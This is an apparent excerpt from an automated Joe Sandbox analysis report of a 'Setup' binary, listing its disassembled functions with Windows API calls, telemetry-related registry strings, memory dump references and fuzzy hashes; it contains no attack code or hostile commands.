                    • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?,00000000,?,?), ref: 6E0D8442
                    • GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 6E0D8464
                    • GetLastError.KERNEL32 ref: 6E0D8488
                    • SetNamedSecurityInfoW.ADVAPI32(00000001,00000001,80000005,?,00000000,?,00000000), ref: 6E0D84B5
                    • GetLastError.KERNEL32 ref: 6E0D84FE
                    • LocalFree.KERNEL32(?), ref: 6E0D8527
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Security$DescriptorErrorLast$DaclFreeInfoLocalNamedOwner
                    • String ID:
                    • API String ID: 442303658-0
                    • Opcode ID: 9fd5dddd4d6725fe0c63f583c3fea5850c149df499255b366abaac870bf59d00
                    • Instruction ID: 9445a8fd8d445fb2ac484ad3b91a572c497af66c4dfabadfb5714b7fbcafc292
                    • Opcode Fuzzy Hash: 9fd5dddd4d6725fe0c63f583c3fea5850c149df499255b366abaac870bf59d00
                    • Instruction Fuzzy Hash: 9F517B35548719EFCB86CED4CC58FAE3BBAFB05B90F104065F914AA161D771CA888BB0
                    Function 6E0C87B7 Relevance: 9.1, APIs: 6, Instructions: 73COMMON
                    Download Yara Rule
                    APIs
                    • GetTickCount.KERNEL32 ref: 6E0C87CF
                    • MsgWaitForMultipleObjects.USER32(?,?,00000000,?,000004FF), ref: 6E0C87F9
                    • GetTickCount.KERNEL32 ref: 6E0C880B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CountTick$MultipleObjectsWait
                    • String ID:
                    • API String ID: 459475419-0
                    • Opcode ID: 46c26024467c54c7d1e2673da3d26ea4ab5f3eeee3c594a0e55ad9031f36fb42
                    • Instruction ID: 59164a5f462c7919fcbe0edd22093ef893b79801a36120600e71fefd3e2f23af
                    • Opcode Fuzzy Hash: 46c26024467c54c7d1e2673da3d26ea4ab5f3eeee3c594a0e55ad9031f36fb42
                    • Instruction Fuzzy Hash: 1E214C7190020AEFCF00DFE5C884EDE7BB8EF05B54F108561EA10A6150D770EA99CB61
                    Function 6E0DA55E Relevance: 9.1, APIs: 6, Instructions: 73registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,?), ref: 6E0DA581
                    • RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 6E0DA5A7
                    • RegCloseKey.ADVAPI32(?), ref: 6E0DA5B9
                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00000001,?), ref: 6E0DA5CC
                    • RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 6E0DA5EB
                    • RegCloseKey.ADVAPI32(?), ref: 6E0DA5FC
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID:
                    • API String ID: 3677997916-0
                    • Opcode ID: 95cef562c6adf61bb4de374460f2286f25fea853fee3fb182179bad8f14793e7
                    • Instruction ID: 02883177011f500952a6e366b5673949956da9ad53c6cf30924befa4f34d661c
                    • Opcode Fuzzy Hash: 95cef562c6adf61bb4de374460f2286f25fea853fee3fb182179bad8f14793e7
                    • Instruction Fuzzy Hash: 792120B6800249FBDF11CF91DC48ECE7BB9EB84750F208062BA14A6024E731DA58DB60
                    Function 6E0C17EB Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                    Download Yara Rule
                    APIs
                    • malloc.MSVCRT ref: 6E0C17F6
                    • _callnewh.MSVCRT ref: 6E0D4473
                    • _CxxThrowException.MSVCRT(00000001,6E0DE290), ref: 6E0D44BA
                    • _callnewh.MSVCRT ref: 6E0D44C3
                    • _CxxThrowException.MSVCRT(00000001,6E0DE290), ref: 6E0D450A
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ExceptionThrow_callnewh$malloc
                    • String ID:
                    • API String ID: 1527866585-0
                    • Opcode ID: 3c64c19049879242fc78990ed0bd047980b740f5b1e106b91ef74887b44f2281
                    • Instruction ID: e388ddc6388bfc7077f28a49689e2198bba052668b959c480d3c3aab073a8bc7
                    • Opcode Fuzzy Hash: 3c64c19049879242fc78990ed0bd047980b740f5b1e106b91ef74887b44f2281
                    • Instruction Fuzzy Hash: F411AC328083087ADB04ABE1EC01BEE3BBDEF0075CF504825EC01A6495EF729A4E8791
                    Function 6E0D8C6C Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • LeaveCriticalSection.KERNEL32(?,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8CAC
                    • CloseHandle.KERNEL32(?,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8CC0
                    • CloseHandle.KERNEL32(?,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8CCD
                    • CloseHandle.KERNEL32(?,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8CDA
                    • DeleteCriticalSection.KERNEL32(?,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8CE3
                    • EnterCriticalSection.KERNEL32(?,00000004,6E0D630E,6E0E0168,?,6E0CF4D9,00000001,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0D8C93
                      • Part of subcall function 6E0D8958: free.MSVCRT ref: 6E0D8964
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseCriticalHandleSection$DeleteEnterLeavefree
                    • String ID:
                    • API String ID: 2998865046-0
                    • Opcode ID: 01fd6e39ea677d9b5160e08f51e48f71ab04cd9dcc78d51d8e4c8a38b2ba1f65
                    • Instruction ID: 209f9b83464be75ee77fd5e1134c169132032e64d49e4115aed8137ce582104c
                    • Opcode Fuzzy Hash: 01fd6e39ea677d9b5160e08f51e48f71ab04cd9dcc78d51d8e4c8a38b2ba1f65
                    • Instruction Fuzzy Hash: D211E574401B05DBCB21EFA9C9986AAF7F8BF147047902D2DE286D3A10DB74E94DCB21
                    Function 009B591A Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __getptd.LIBCMT ref: 009B5926
                      • Part of subcall function 009B3AB0: __getptd_noexit.LIBCMT ref: 009B3AB3
                      • Part of subcall function 009B3AB0: __amsg_exit.LIBCMT ref: 009B3AC0
                    • __amsg_exit.LIBCMT ref: 009B5946
                    • __lock.LIBCMT ref: 009B5956
                    • InterlockedDecrement.KERNEL32(?), ref: 009B5973
                    • _free.LIBCMT ref: 009B5986
                    • InterlockedIncrement.KERNEL32(03391070), ref: 009B599E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
                    • String ID:
                    • API String ID: 3470314060-0
                    • Opcode ID: 9757491f150c82b0f42b6602b959e2bdfe24b209f6a07e26ff7c2dd5f6cbece6
                    • Instruction ID: 6def9b6446fc252fd6bcee1e84d54d1580a309b4f28b15d86349c3226a87663d
                    • Opcode Fuzzy Hash: 9757491f150c82b0f42b6602b959e2bdfe24b209f6a07e26ff7c2dd5f6cbece6
                    • Instruction Fuzzy Hash: E8010031915B12DBCB20BB689B027EEB768BF44770F860205E8106B281CB305D41DBD2
                    Function 6E0C1E75 Relevance: 9.0, APIs: 6, Instructions: 43COMMON
                    Download Yara Rule
                    APIs
                    • EnterCriticalSection.KERNEL32(6E0E0168,00000000,6E0C1E21,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C1E8E
                    • ctype.LIBCPMT ref: 6E0C1EA0
                    • LeaveCriticalSection.KERNEL32(6E0E0168,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C1EC2
                    • DeleteCriticalSection.KERNEL32(6E0E0168,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C1EC9
                    • SetLastError.KERNEL32(1000010A,6E0C1E21,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0CF4C9
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CriticalSection$DeleteEnterErrorLastLeavectype
                    • String ID:
                    • API String ID: 1588575130-0
                    • Opcode ID: 36e18fc61c0fb6b496e86b08d1792e6d77e2a1e8c7bbf0ec74e2d38d14de4f25
                    • Instruction ID: 0c8e5c36ca085cbfb73def7b1eeed26ad7f8e391eae4292dfd3f520f4e0e449f
                    • Opcode Fuzzy Hash: 36e18fc61c0fb6b496e86b08d1792e6d77e2a1e8c7bbf0ec74e2d38d14de4f25
                    • Instruction Fuzzy Hash: E501A238259B00AFDB44EBE0D858FAE36BAEF42F1AF104028E415DA091DB7584588B53
                    Function 6E0CC385 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157timeCOMMON
                    Download Yara Rule
                    APIs
                    • FileTimeToSystemTime.KERNEL32(?,?,6E0E0088,?,00000000), ref: 6E0D3335
                    • GetLastError.KERNEL32(?,00000000), ref: 6E0D3351
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Time$ErrorFileLastSystem
                    • String ID: If-Modified-Since:%s
                    • API String ID: 2781989572-880471301
                    • Opcode ID: fd6969b113d372fa0ecd5150b99e404ae038ec9e44f2038b972b3ade42c8823f
                    • Instruction ID: 6a3d5c8b21d59088b6182d82c90268aa4a51f77ed58be03498f9e1b4c220dbc6
                    • Opcode Fuzzy Hash: fd6969b113d372fa0ecd5150b99e404ae038ec9e44f2038b972b3ade42c8823f
                    • Instruction Fuzzy Hash: 1151DE32944309ABCB55DED9CCD8BEE76B9FB08B40F0044A9E915DB150DB78CA49CB61
                    Function 6E0D785F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegCreateKeyExW.ADVAPI32(00000000,?,00000000,00000000,00000000,-00020005,?,00000000,00000000,80000002,Software\Microsoft\SQMClient\Windows,CabSessionAfterSize,?,?,6E0D6078,80000002), ref: 6E0D78BB
                    • RegSetValueExW.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?,6E0D6078,80000002,Software\Microsoft\SQMClient\Windows,00000000,CEIPEnable,00000000,80000002,Software\Microsoft\SQMClient\Windows\DisabledSessions), ref: 6E0D78F3
                    • RegCloseKey.ADVAPI32(00000000,?,?,6E0D6078,80000002,Software\Microsoft\SQMClient\Windows,00000000,CEIPEnable,00000000,80000002,Software\Microsoft\SQMClient\Windows\DisabledSessions,80000002,Software\Microsoft\SQMClient\Windows\Users,80000002,Software\Microsoft\SQMClient\Windows\Uploader\PendingUpload,80000002), ref: 6E0D792D
                    Strings
                    • CabSessionAfterSize, xrefs: 6E0D7868
                    • Software\Microsoft\SQMClient\Windows, xrefs: 6E0D7869
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseCreateValue
                    • String ID: CabSessionAfterSize$Software\Microsoft\SQMClient\Windows
                    • API String ID: 1818849710-2962713777
                    • Opcode ID: 4c0836e51ded3b74df9f757363c7ac3a3dca12d65e18855091a398aef471017e
                    • Instruction ID: b3693df9b07b0cf46debc56cce7542cada9c6e8ce497bae0c4622e1b410ec627
                    • Opcode Fuzzy Hash: 4c0836e51ded3b74df9f757363c7ac3a3dca12d65e18855091a398aef471017e
                    • Instruction Fuzzy Hash: 57312332544715BFCB59DEC8CCA4FAABBA6EB42B94F044054F9149B1E1D3B1C84CDBA0
                    Function 6E0D5DAA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94memoryCOMMON
                    Download Yara Rule
                    APIs
                    • LocalAlloc.KERNEL32(?,00000000), ref: 6E0D5E3B
                    • memcpy.MSVCRT(?,00000000,-0000000E), ref: 6E0D5E66
                    • TraceEvent.ADVAPI32(?,?,?), ref: 6E0D5E9E
                    • LocalFree.KERNEL32(00000000), ref: 6E0D5EAD
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Local$AllocEventFreeTracememcpy
                    • String ID: P
                    • API String ID: 4064889523-3110715001
                    • Opcode ID: e43673ceeb7e5164cac4dcb71e25be6c3bb5bf45801114843b48a08ba93c14a0
                    • Instruction ID: 5ab7b12c84b6a36d970ea020c675b2614d646f26fc7bf8b6abfb7e8607857ce0
                    • Opcode Fuzzy Hash: e43673ceeb7e5164cac4dcb71e25be6c3bb5bf45801114843b48a08ba93c14a0
                    • Instruction Fuzzy Hash: A6316BB5D00208DFDB54DFA9C98478EB7FAFF48358F208069E808A7215D3309A48CF51
                    Function 6E0DA94E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExA.ADVAPI32(80000002,System\WPA\ApplianceServer,00000000,00000001,?), ref: 6E0DA972
                    • RegQueryValueExA.ADVAPI32(?,Installed,00000000,?,?,?), ref: 6E0DA999
                    • RegCloseKey.ADVAPI32(?), ref: 6E0DA9BB
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID: Installed$System\WPA\ApplianceServer
                    • API String ID: 3677997916-2615809295
                    • Opcode ID: 8eead02ba7b9d21921e5bb3868aa2b4fb58f5671354c9048efce5706f4423b4f
                    • Instruction ID: 26681736d9af602d9679df5e4f7ab6f3eb85f0b8f29f54db841cc00796c1afb3
                    • Opcode Fuzzy Hash: 8eead02ba7b9d21921e5bb3868aa2b4fb58f5671354c9048efce5706f4423b4f
                    • Instruction Fuzzy Hash: 10012C31914709EBDF50CBE8CC89B9EB7F8BB05B54F310266F525E11C0E770AA589B51
                    Function 6E0DA7C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleA.KERNEL32(ntdll.dll,NtQueryInformationProcess), ref: 6E0DA7DB
                    • GetProcAddress.KERNEL32(00000000), ref: 6E0DA7E2
                    • GetCurrentProcess.KERNEL32(0000001A,?,00000004,00000000), ref: 6E0DA7F8
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AddressCurrentHandleModuleProcProcess
                    • String ID: NtQueryInformationProcess$ntdll.dll
                    • API String ID: 4190356694-2906145389
                    • Opcode ID: 21aaa1f423d5fc352e8806d6b576f539ab79593f4cd4148b9f36d6687395c3fc
                    • Instruction ID: f916213db6895dc36ee1cc08152f5da6d7ffe2e836da5e3ab3a5f1c92b555692
                    • Opcode Fuzzy Hash: 21aaa1f423d5fc352e8806d6b576f539ab79593f4cd4148b9f36d6687395c3fc
                    • Instruction Fuzzy Hash: 11F0E272900701ABDB4097F58C08F8A3AF8DB06B60F204930FD39D3180E630C81B8BA1
                    Function 6E0DA847 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000001,?), ref: 6E0DA865
                    • RegQueryValueExA.ADVAPI32(?,ServerAdminUI,00000000,00000000,00000000,?), ref: 6E0DA88A
                    • RegCloseKey.ADVAPI32(?), ref: 6E0DA893
                    Strings
                    • Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 6E0DA85B
                    • ServerAdminUI, xrefs: 6E0DA87B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID: ServerAdminUI$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
                    • API String ID: 3677997916-377279143
                    • Opcode ID: 20b549f2c32500a57fdb20eb7e546984c9f3e5586ebd4ab52ab8cd9507bcf421
                    • Instruction ID: e8d0505e586be48d24afaa35a435f80aadd446ce84ce7ce2848fe97b56a71620
                    • Opcode Fuzzy Hash: 20b549f2c32500a57fdb20eb7e546984c9f3e5586ebd4ab52ab8cd9507bcf421
                    • Instruction Fuzzy Hash: 37F01575A00648FFEB10DBD0CC49FDDBBB8AB04B04F2000A1BA14F5190D7B0AA6D8B55
                    Function 6E0CE0FF Relevance: 7.6, APIs: 5, Instructions: 150timeCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6E0CC33D: GetLastError.KERNEL32(6E0E0088,?,6E0CC203,?,?,?,00000000), ref: 6E0CC343
                      • Part of subcall function 6E0CC33D: SetLastError.KERNEL32(00000000,?,6E0CC203,?,?,?,00000000), ref: 6E0CC354
                    • GetLastError.KERNEL32(?,?,?,?,6E0CC008,00000000,?,00000000,00000000,?,?,?,PUT,00000000,?,6E0C7AF4), ref: 6E0D378C
                    • GetLastError.KERNEL32(?,?,?,?,6E0CC008,00000000), ref: 6E0D3824
                    • SystemTimeToFileTime.KERNEL32(?,6E0CC008,?,?,?,?,6E0CC008,00000000), ref: 6E0D3852
                    • GetLastError.KERNEL32(?,?,?,?,6E0CC008,00000000), ref: 6E0D386E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$Time$FileSystem
                    • String ID:
                    • API String ID: 3446928799-0
                    • Opcode ID: d329421e9cda662f51983e252f6101303f43c8fa13ecf0e4b03e069605f0c866
                    • Instruction ID: 02a85d6af7614dc3b3c52b1eced6fd883f13990e0e0280c75f05167f7debbe20
                    • Opcode Fuzzy Hash: d329421e9cda662f51983e252f6101303f43c8fa13ecf0e4b03e069605f0c866
                    • Instruction Fuzzy Hash: A151E035500304AFDB49DFE5C898FAE7BEAEF48B84F004468E519DB250DB70C959CB62
                    Function 6E0C8067 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 101COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C8097
                      • Part of subcall function 6E0C18E5: _vsnwprintf.MSVCRT ref: 6E0C1913
                      • Part of subcall function 6E0C3E29: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6E0C3E94
                      • Part of subcall function 6E0C3E29: RegQueryValueExW.KERNEL32(00000000,00000002,00000000,?,?,00000004), ref: 6E0C3EB0
                      • Part of subcall function 6E0C3E29: RegCloseKey.ADVAPI32(00000000), ref: 6E0C3ECE
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue_vsnwprintfmemset
                    • String ID: %s\%s$Software\Microsoft\SQMClient$Software\Policies\Microsoft\SQMClient$StudyId
                    • API String ID: 908408749-466302621
                    • Opcode ID: 8478e001fa81aa4098e5faded8262d28e37c1fb928897b96824b03bc66f00bfe
                    • Instruction ID: 78c4ed3fe3874134c03c1d461946619b0ace1170c49e0c628f760fc1c0ff82de
                    • Opcode Fuzzy Hash: 8478e001fa81aa4098e5faded8262d28e37c1fb928897b96824b03bc66f00bfe
                    • Instruction Fuzzy Hash: B431D2B1501258AAD750CAD5CC98FFFB7ECAF11B84F5004A9AD189B151D770DA88CB72
                    Function 6E0D6513 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 87COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0D6538
                    • GetLastError.KERNEL32 ref: 6E0D659B
                    • SetLastError.KERNEL32(00000000,80000001,Software\Microsoft\SQMClient,00000000,UserId,?), ref: 6E0D65FA
                      • Part of subcall function 6E0D5F11: EtwTraceMessage.NTDLL ref: 6E0D5F26
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$MessageTracememset
                    • String ID: Software\Microsoft\SQMClient$UserId
                    • API String ID: 1733364027-3032788761
                    • Opcode ID: 929c22a143f081f097441234774a35698c5e65b8b2fffc40f9ebac89902f4e24
                    • Instruction ID: c360570c8de69f5487d55ea0c17143d3b046e12e2b6ec06ce088046409d372dd
                    • Opcode Fuzzy Hash: 929c22a143f081f097441234774a35698c5e65b8b2fffc40f9ebac89902f4e24
                    • Instruction Fuzzy Hash: C821EF75258744AFD740DAD5DC84FAE3BB9AF46744F000068F909DB199DB70C98C8B61
                    Function 6E0C2671 Relevance: 7.6, APIs: 5, Instructions: 84COMMON
                    Download Yara Rule
                    APIs
                    • InitializeCriticalSectionAndSpinCount.KERNEL32(6E0E0168,00000FA0,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C268E
                    • GetLastError.KERNEL32(?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0CF520
                      • Part of subcall function 6E0C17EB: malloc.MSVCRT ref: 6E0C17F6
